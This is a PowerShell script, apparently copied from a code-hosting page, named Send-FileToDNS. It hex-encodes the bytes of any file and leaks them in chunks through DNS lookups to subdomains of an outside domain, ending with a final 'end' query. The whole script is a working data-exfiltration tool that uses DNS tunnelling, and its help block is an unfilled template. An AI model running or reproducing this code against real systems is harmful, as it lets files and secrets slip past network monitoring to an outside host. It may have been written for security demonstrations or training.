/
Send-FileToDNS.ps1
70 lines (52 loc) · 1.73 KB
/
Send-FileToDNS.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
param([string] $FilePath, [string] $Domain= 'x.cqure.pl')
<#
.SYNOPSIS
Describe purpose of "Send-FileToDNS" in 1-2 sentences.
.DESCRIPTION
Add a more complete description of what the function does.
.PARAMETER FilePath
Describe parameter -FilePath.
.PARAMETER Domain
Describe parameter -Domain.
.EXAMPLE
Send-FileToDNS -FilePath Value -Domain Value
Describe what this call does
.NOTES
Place additional notes here.
.LINK
URLs to related sites
The first link is opened by Get-Help -Online Send-FileToDNS
.INPUTS
List of input types that are accepted by this function.
.OUTPUTS
List of output types produced by this function.
#>
$Domain
$extension = [IO.Path]::GetExtension($FilePath)
$hashName = ([string](Get-FileHash $FilePath -Algorithm MD5).Hash).Substring(0,10)
$b = ([string][BitConverter]::ToString([IO.File]::ReadAllBytes($FilePath))).Replace("-","")
$b.Length
$part =
$counter = 0
$data = ""
$i =0
while($counter -lt $b.Length){
if($b.Length - $counter -le 45){
$data = $data+"."+$b.Substring($counter,$b.Length -$counter)
$counter = $counter + 45
Resolve-DnsName $hashName"$extension.$part$data.$Domain" -Type A
break
}else{
$data = $data+"."+$b.Substring($counter,45)
$counter = $counter + 45
}
$i++
if($i -eq 4){
Resolve-DnsName $hashName"$extension.$part$data.$Domain" -Type A
$data = ""
$i = 0
$part++
}
}
Start-Sleep -Seconds 2
Resolve-DnsName $hashName"$extension.end.$Domain" -Type A